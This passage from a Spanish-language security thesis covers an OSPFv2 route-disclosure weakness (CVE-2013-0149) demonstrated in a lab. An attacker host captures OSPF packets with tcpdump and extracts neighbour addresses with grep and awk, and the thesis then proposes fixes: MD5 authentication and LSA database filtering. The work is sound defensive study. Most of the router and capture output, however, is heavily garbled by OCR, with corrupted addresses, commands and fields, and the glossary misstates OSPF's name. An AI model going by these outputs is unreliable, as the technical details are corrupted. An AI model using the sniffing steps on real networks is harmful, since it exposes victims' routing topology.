Rcy hello from 20.0.0.1 area 2 from Seriall/0 10.0.0,2
End of hello pro

Send hello to 2 5 oy,

send hello to .0.0.5 area 2 on Seriall/0 from 13.0.0.1

OSPF:Rcy DED Trom
Send DED to 192.168.0.2 on FastEthernetf/0 seq 0x1d4 opt BOx52

+41.291: OS5PF: Rcy DBD from 192.168.0.2 on FastEthernetd/0 seq Ox15 opt Ox2
state EXCHANGE
141.291: 0OSPF: Send DBED to 192.168.0.2 on FastEthernet®/0 seq Ox15 opt Ox52

0SPF: nd hello to 224.0.0.5 area 2 on Seriall/@ from 10 g

¢ Rcy hello from 20.0.0.1 area 2 from Seriall/0 10.0.0,2
OSPF: End of hello proc f:

Figura 3.7 (DBD recibida)
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Por parte del atacante: (véase Figura 3.8)

OSPFv2,

cO 0040 281b ) 0159 0f37 c0a8 00C

S 0002 C 2 0020 cfC ',“,“,‘1 O000 O002

0000 0018 fffe 0003 OOO01 0004 0000 0OO0C

Figura 3.8 (Interfaz monitoreada)

Para visualizar la informacion de la base de datos en la cual se comparte la informacion de los

Routers vecinos, se utilizo la herramienta TCPDump, del lado del atacante.
Mediante el siguiente comando, se logré depositar la informacién de la base de datos de los estados
enlace, en un archivo con formato que maneja la biblioteca libpcap. La cual es muy util ya que es

manejada en para herramientas de captura de red como wireshark o TCPDump. (véase Figura 3.9)

# tcpdump -nni ethl proto ospf -w ospf.cap

root@mac:~#| tcpdump -nn1 ethl proto ospt -w ospt.cap
tepdump: listening on ethl, Llink-type EN1LOMB (Ethernet), capture

Figura 3.9 (Encapsulamiento de Informacion)
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Ya que se depositd la informacion en dicho archivo, se visualiz6 de la siguiente manera: (véase

Figura 3.10)

i tcpdump -nn1 ethl proto ospt -w osptf.cap
listening on ethl, link-type EN1OMB (Ethernet), capture siz

y kernel
~# tcpdump -v -r ospf.cap proto ospf
om file ospf.cap, link-type EN1OMB (Ethernet)
3853 os 0x0, ttl 64, 1d 1, offset 0, flags [none],
Length
mac. local > 192.168.0.1: OSPFv2, 5 S Length

Router-ID mac.local, Area 0.0.0.2, Authentication Type: none (0)
Options [Externall, DD Flags [More, Master], MTU: 1500, Se

(0)'40.010]10]

1d 915, offset O, flags [none], proto OSPF

: scription, length 44 [len 32]
Router-ID 192.168.0. . 2, Authentication Type: none (0)
Options [External, LLS, Opaquel], DD Flags [none], MTU: 1500, Sequence: O
LLS: checksum: oxfffs, length: 3
Options (1), length: 4

Figura 3.10 (Lectura del paquete capturado)
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Existe un intercambio de bases de datos entre las direcciones IP asignadas: (véase Figura 3.11)

Options: Ox [LSDB resync]
00:54:01.761465 IP (tos OxcO, ttl 1, 1d 1240, o-fset 0, flags [nonel], proto OSPF (89)
, length 80)
- mac.local: 0SPFv2, Hello, length 60 [len 48]
Router-ID 192.168.0.1, Area 0.0.0.2, Authentication Type: none (0)
Options [External, LLS]
Hello Timer 10s, Dead Timer 40s, Mask 255.255.255.0, Priority 1
Designated Router 192.168.0.1, Backup Designated Router mac.local
Neighbor List:
mac. local
LLS: checksum: oxfffs, length: 3
Extended Options (1), length: 4
Options: Ox [LSDB resync]
: | 64, 1d 1, offset 0, flags [none], proto

OSPFv2, Database Description, length 32
mac. Local 2, Authentication Type: none (0)
[Externall, DD Flags [Init, More, Master], MTU: 1500, S

00:54:03.769469 IP (tos OxcO, ttl 1, 1d 1241, o-fset 0, flags [nhone], proto
length 124)

Figura 3.11 (Divulgacién de informacion)

Indicandonos las direcciones IP configuradas en el protocolo y que corresponden a la vecindad del
dispositivo atacado. (véase Figura 3.12)

none (0),
Advertising Router Sec
Router LSA (1), LSA-ID: 192.168.0.1
Options: [External, Demand Circuit]
Router LSA Options: [none]
Neighbor Network-ID: 192.168.0.1, Interface
topology default (0), metric 1
Neighbor Router-ID:|30.0.0.2, Interface Adc
topology default (0), metric 64
Stub Network: [30.0.0.0, Mask: 2
topology default (0), metric 64

Neighbor Router-ID:| 20.0.0.1, Interface

P | —— o ——

Figura 3.12 (Rutas vecindad de la victima)
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Esquema de red indicando las direcciones antes mencionadas: (véase Figura 3.13)

10/0 192.168.0.1/24

192.168.0.2/24
Deblan

fie, =14
R

Figura 3.13 (Rutas vecindad de la victima)
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Informacién de las LSA’s completas: (véase Figura 3.14)

Advertising Router 192.168.C
Router LSA (1), LSA-ID:
Options: [External,
Router LSA Options:
Network-ID: 192.168.0.1, Interface
default (0), metric 1
outer-ID: 30.0.0.2, Interface Adc
default (C :
k: 30.0.0.0, Mask: 255.255.255.C
default (0), metric 64
Router-ID: 20.0.0.1, Interface Adc
default (0), metric 64

| . N0 0O C EE s T

ogy 0), metric 64

Advertising Router
Network L Z

Figura 3.14 (LSAs divulgadas)

Capitulo 4. Resultados obtenidos

Al terminar de hacer las pruebas y de recolectar la informacion, se filtr6 la informacion mediante un
analisis de parametros utilizando la herramienta GAWK y GREP, encontrando palabras especificas

qgue indicaban la informacién que se requeria para corroborar la divulgacion de informacion y
plasmarla en un documento formal.
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Por ejemplo:

Para mostrar las opciones capturadas, se genero el siguiente comando : (véase Figura 4.1)

root@mac:~# tcpdump -v -r ospf.cap proto ospf | grep Neighbor
reading from file ospf.cap, link-type EN1OMB (Ethernet)
Neighbor List:
Neighbor List:
Neighbor List:
Neighbor
Nelg

bor Network-ID: 192.168.0.1, Interface

bor Router-ID: 30.0.0.2, Interface Addr
Router-ID: 20.0.0. Interface Addr :
work-ID: 192. .0.1, Interface Addr
Router-ID: 30.0.0.2, Interface Addr :
Router-ID: 20.0.0.1, Interface Address:

Figura 4.1 (Filtro Neighbor)

Para tener un filtro mas apegado a la informacién que se quiere obtener, se implementé la utileria
AWK, la cual filtra en funcién de datos de forma granular. (véase Figura 4.2)

froot@mac:~# tcpdump -v -r ospf.cap proto ospf | grep "Neighbor" | awk '{print $3
| sort -u

reading from file ospf.cap,

192.168

20.0.0.1,

20 0.0

root@mac : ~#

Figura 4.2 (Direcciones IP vecinas)
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4.2 Comparativas

La resolucion de esta tesis se dio con fines educativos, considerando las fallas en la configuraciéon
del protocolo de seguridad, se dieron las recomendaciones de seguridad. Los procedimientos para
obtener la informacion de las tablas de ruteo varian de acuerdo a la experiencia del experto en
seguridad y del manejador de las herramientas de penetracion, una vez obtenida la informacién debe
de ser documentada y comparada con otros procedimientos.

Para encontrar las vulnerabilidades de los dispositivos, también se dio la tarea de hacer pruebas de
caja negra. Tomando como primicia la intrusion sin considerar opciones conocidas del dispositivo
victima. De igual manera se pudieron haber dado a conocer otras vulnerabilidades con ese tipo de
analisis, en ésta tesis se quiso mostrar al interesado en la seguridad de dichos dispositivos la forma
en la cual un atacante puede intervenir con las operaciones diarias y afectar a los activos légicos o

fisicos de la organizacion.
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4.3 Propuestas del plan de mejora

Se proponen los siguientes puntos a considerar para continuar con un seguimiento de la seguridad
en la configuracién del protocolo OSPF en los Routers.

1. Implementacion de llaves de intercambio. (véase Figura 4.3)

Router#show ip ospf int s1/1

Seriall/l is up, line protocol 1is
Internet Address 40.0.0,1/24,
Process ID 2, Router ID 40.0.0.1, Network Type POINT_TO _POINT, Cost: 64
Topology-MTID Cost Disabled Shutdown Topology Name

0] 64 no no Base

Transmit Delay 15 1 sec, State POINT_TO_POINT
Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5
oob-resync timeout 40

Hello due in 00:00:06

Supports Link-local Signaling (LLS)

Cisco NSF helper support enabled

IETF NSF helper support enabled

Index 1/1, flood queue length ©

Mext OxO(0)/0x000)

Last flood h length 15 1, maximum is 1

Last flood scan time is 0 msec, maximum is 0 msec

Meighbor Count is 1, Adjacent neighbor count is 1
Sddjacent with neighbor 20.0.0,2

Suppress hello for @ neighbor(s)

Figura 4.3. Implementacion de algoritmo md5
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2. Autenticacion de vecinos mediante el algoritmo de digestion MD5.

Haciendo uso del procedimiento de configuracion del protocolo ospf, se ingresa a la interfaz
donde se encuentra configurado el protocolo: (véase Figura 4.4)

Routerfconfigure terminal
Enter configuration commands, one per line. End with CNTL/Z.

Router(config’
Router(config)#int s1/1

Figura 4.4. Implementacibn de algoritmo md5

Se procede a activar la llave que serd trasmitida junto con el paquete ospf, el dispositivo que
recibe el mensaje deberd tener la misma llave para intercambiar el mensaje. (véase Figura

4.5)

Router(config-if)#ip « essag igest-key 1 mdS5 .cl$cO.
Router(config-if)#¥exit

Router(config)#router
Router(config-router)
Router(config-router)#

Figura 4.5. Implementacibn de algoritmo md5
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Para verificar la configuracion de authenticacion, se utilizaron los siguientes comandos.(véase

Figura 4.6).

Router#sh ip ospf int sl/1
seriall/sl 15 up,

Transmit Dela
Timer
oob-res timeout 40
Hello due in 00:00:04
Supports Link-local
Cisco helper

IETF
Ind

inter: s configured,

1)
1 length is 1,
Last flood scan time is 0 mse
Adjacent
press hello for @ neighbor
gest authentication

1

Neighbor Count is 0O,

Signaling
support enabled
helper support enabled
, Tlood queue length @

State POINT_TO _POINT
Hello 10,

Dead 40, Wait 40, Retransmit

(LLS)

maximum 1s 1

C is B m:
neighbor count is 0@
(s)

MmaxTmum

ENg

Figura 4.6. Verificacion de algoritmo

La autenticacion debe de ser para cada Area configurada.

El area que se tomé fue del router R3 al router R2, siguiendo los pasos anteriores de configur

acion.
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En la siguiente imagen se muestra el resultado de la captura una vez habilitado el algoritmo
md>5 en la red. Se muestra el tipo de autenticacion, mitigando la vulnerabilidad de divulgacion
de informacion que existia. (véase Figura 4.7)

Hello, length 80 [len 44]
Router-ID 192.168.C Area 0.0.0.2, Authentication Type:
Key-ID: 1, Auth-Length: 16, Crypto Sequence Number: 0x572aaZt2
Options [External, LLS]
Hello Timer 10s, Deac
Designated Router

cksum: Ox0000,

Options:
MDS Authentication

Sequence number:

Figura 4.7. Verificacion de algoritmo habilitado

1. La configuracion por medio de autenticacibn md5 para OSPFv2 no protegera a las areas
configuradas con la versibn OSPFv3, para ello se debe tomar a consideracion el
procedimiento respectivo para la version del protocolo.

4.4 Segunda propuesta de mejora
Como segunda propuesta se menciona lo siguiente:

La divulgacioén de las rutas a través de los equipos de ruteo pueden ser divulgadas también debido a
la configuracion por defecto de OSPF. Se recomienda deshabilitar la opcion de LSA activa en los me
nsajes HELLO, lo anterior provocara el cese a las actualizaciones de estado enlace. En la siguiente i
magen, se muestran los pasos de configuracién para mitigar la divulgacion de la direccion IP del rout
er R3, especificamente en la interfaz s1/0, donde se encuentra la direccién IP 20.0.0.2 (véase image
n Figura 4.8).
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Router#configure terminal

Enter configuration commands, one per line. End with CNTL/Z.

Router(config)#int s1/0

Router(config-if)¥ip ospf database-filter all out

Router(config

*May 11 17:00 479 %OSPF-5-ADJCHG: Pt 2, Nbr 1 on Seriall/@ from FUL
L to DOWN, Ne - Down: Interface down or detached

*May flojo . 599 SPF-5-4DJCHG: Process 2, Nbr 1 on Seriall/0 from LOA
DING to FULL, Loading Done
Router(config-if)#configure terminal

% Invalid input detected at '"' marker.

Router(config-if)#end

Figura 4.8. Configuracion de s1/0 LSA

Verificacion de la mitigacion de la vulnerabilidad: (véase imagen 4.10)

Cabe destacar que la direccion IP de la interfaz s1/0 no fue divulgada a la maquina remota que hizo
el ataque.

#1
dvertising Router 192.168.0. seq Ox , age 10s, length 64
Router LSA (1), LSA-ID: 192.
Options: [External, Demand Circuit]
Router LSA Options: [none]
Neighbor Network-ID: 192.
topology default (0O)

Ne1ghbt
topo
Stub N

topo Y
Neighbor Router-ID:
topo y detault (0), metric
Stub N ork: 10.0.0.0, Mask:
OpC default (0), metric

Figura 4.10. Direccion Asociada
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4.5 Conclusiones

El objetivo de esta tesis siempre fue orientar al interesado en la seguridad de la informacion
en un tema especifico, una vulnerabilidad, que se ided con base en conocimiento basico de redes,
leyendo parte del protocolo, haciéndolo funcionar a través de un laboratorio y teniendo una nocion de
obtener informacién deseada en base a pruebas. La identificacion de vulnerabilidades dentro de
cualquier sistema informético implica conocimientos bésicos de la infraestructura y un poco de

imaginacion, ya que las ideas se forman en base a teoria basica.

La experiencia del lector determinara si el analisis manejado en este documento le puede dar
pauta a formular otros tipos de laboratorios para probar otros problemas de seguridad. El desarrollo
de software siempre tendra errores en su mayoria por descuido del propio desarrollador o de la
velocidad en la que se requiera el producto final sin pasar por las diferentes etapas para concluir de

manera efectiva un programa.

La vulnerabilidad CVE-2013-0149 se dio a conocer al publico con el propésito de mostrar una
vulnerabilidad que afectaba a los dispositivos de red con el protocolo OSPFv2, hasta que tiempo
después se dio a conocer que la misma vulnerabilidad tenia relacibn con una vulnerabilidad
encontrada para el protocolo OSPFv3, el tiempo que se tomé para la resolucion de la vulnerabilidad
fue un afo aproximadamente, desde el 1 de Agosto 2013 hasta el 31 de Julio del 2014, y para la
vulnerabilidad del protocolo OSPFv3 tiempo considerable para personas con intenciones maliciosas
gue con pocos conocimientos pudiesen explotarla y obtener informacion o alterar la que existe en
dispositivos. Al estar realizando las pruebas con el framework Scapy se encontraron pruebas de que
existia una posibilidad de enviar un paquete de red utilizando el protocolo, se tuvieron algunos
problemas para realizar la conexién entre los dispositivos y de envio del paquete malformado para
gue saltara la proteccién fight-back que tiene el protocolo por defecto. Al final se logré cumplir con el
objetivo de demostrar la vulnerabilidad remotamente a través de la maquina virtual, capturando y
procesando la informacion, tomando a consideraciéon estudios profundos en este tipo de analisis, se
recomendo6 a los especialistas la configuracién del protocolo OSPF siguiendo una serie de pasos
para mitigar el problema, ya que para OSPFv3, que es la version que maneja IPv6 todavia no se

encuentra un método exacto para mitigar el problema. Siendo un evento importante de seguridad,
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algunas de esas recomendaciones se basaron en la implementacion de firewalls de capa 2 para
encontrar los tipos de paquetes anémalos.

Apéndice

Con el objetivo mejorar las medidas de seguridad recomendadas, se listan a continuacion una
serie de recomendaciones.

- Para mitigar peticiones externas hacia direcciones internas con informacion sensible, es
necesario introducir un firewall perimetral de capa 2, con el fin de mejorar la protecciéon de
eventos andmalos de paguetes externos.

- Como medida de mitigacién temprana se recomienda seguir las publicaciones de medios
de actualizacion de informacién como US-CERT, suscribirse a los boletines semanales de
vulnerabilidades publicadas y estar al pendiente de las actualizaciones.

- Incorporarse a un equipo de trabajo especializado en el analisis de vulnerabilidades y

respuesta a incidentes dentro de la empresa donde se encuentran los dispositivos
sensibles a vulnerabilidades de red.
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A

Activo

AWK

BGP

CAN
CERT
CVE
D
DAN

Datagrama

DBD
F

Fragmentacion

HASH
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Glosario

Objetos que representan algun valor para la organizacién, puede ser fisico
o digital, también podria considerarse el personal como activo.

Acrénimo de Alfred Aho, Peter Weinberger Brian Kernighan, lenguaje de
programacion.

Del acronimo Border Gateway Protocol, es un protocolo disefiado para
encaminar paguetes a través de los sistemas autonomos en internet. Es
un protocolo tipo vector aunque algunas veces es clasificado como
protocolo vector-distancia, por la forma en que maneja sus paquetes.

Controller Area Network
Computer Emergency Response Team

Common Vulnerabilities Exposures

Desk Area Network

Entidad independiente y autbnoma de datos que llevan informacion
suficiente para ser encaminada desde el origen hasta el destino, sin
depender de la fuente y el dispositivo de cémputo final.

Database Descriptor

Proceso que se le dan a los datagramas una vez que hayan alcanzado el
tamafio maximo de unidad de transferencia de datos.

Identificador de datos informaticos, usualmente creado mediante
algoritmos de digestion de datos, el cual asegura al tamafio y la
autenticidad de la informacion.



Homologacion

Horizonte dividido

IEEE

I0S

LAN
LSA
LSDB
LSU
M
MAN

Métrica

OSPF
P
PARSEO
R

RFC

Subred
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IEE, CSA, el cual implica portabilidad e interoperabilidad a través de la
empresa o de acuerdos internacionales.

Es un método para prevenir o prohibir a un Router de caer en ciclos de
actualizaciones en la interfaz.

Institute of Electrical and Electronics Engineers

Internetwork Operating System
Local Area Network

Link State Advertisement

Link State Data Base

Link State Update

Metropolitan Area Network

Priorizan las rutas aprendidas por el protocolo de ruteo, dando mas
preferencia respecto a otra, por lo general la métrica que es mas baja es
la preferida por el protocolo de ruteo.

Open Short Path First

Verbo tomado del inglés “parse” que significa analizar.

Request for Comments

Distribucién parte de la carga de red en pequefas redes.
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UTP

VLSM

VLAN

WAN
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Es la denominacion que tiene el cable de red debido al tipo de
configuracion interna, debido a que minimiza la interferencia de ruido
electromagnético del ambiente habiendo una menor pérdida de
informacion.

Variable Length Subnet Mask.

Virtual Local Area Network

(Wide Area Network) El acrénimo indica que es una red la cual abarca un
area muy grande,
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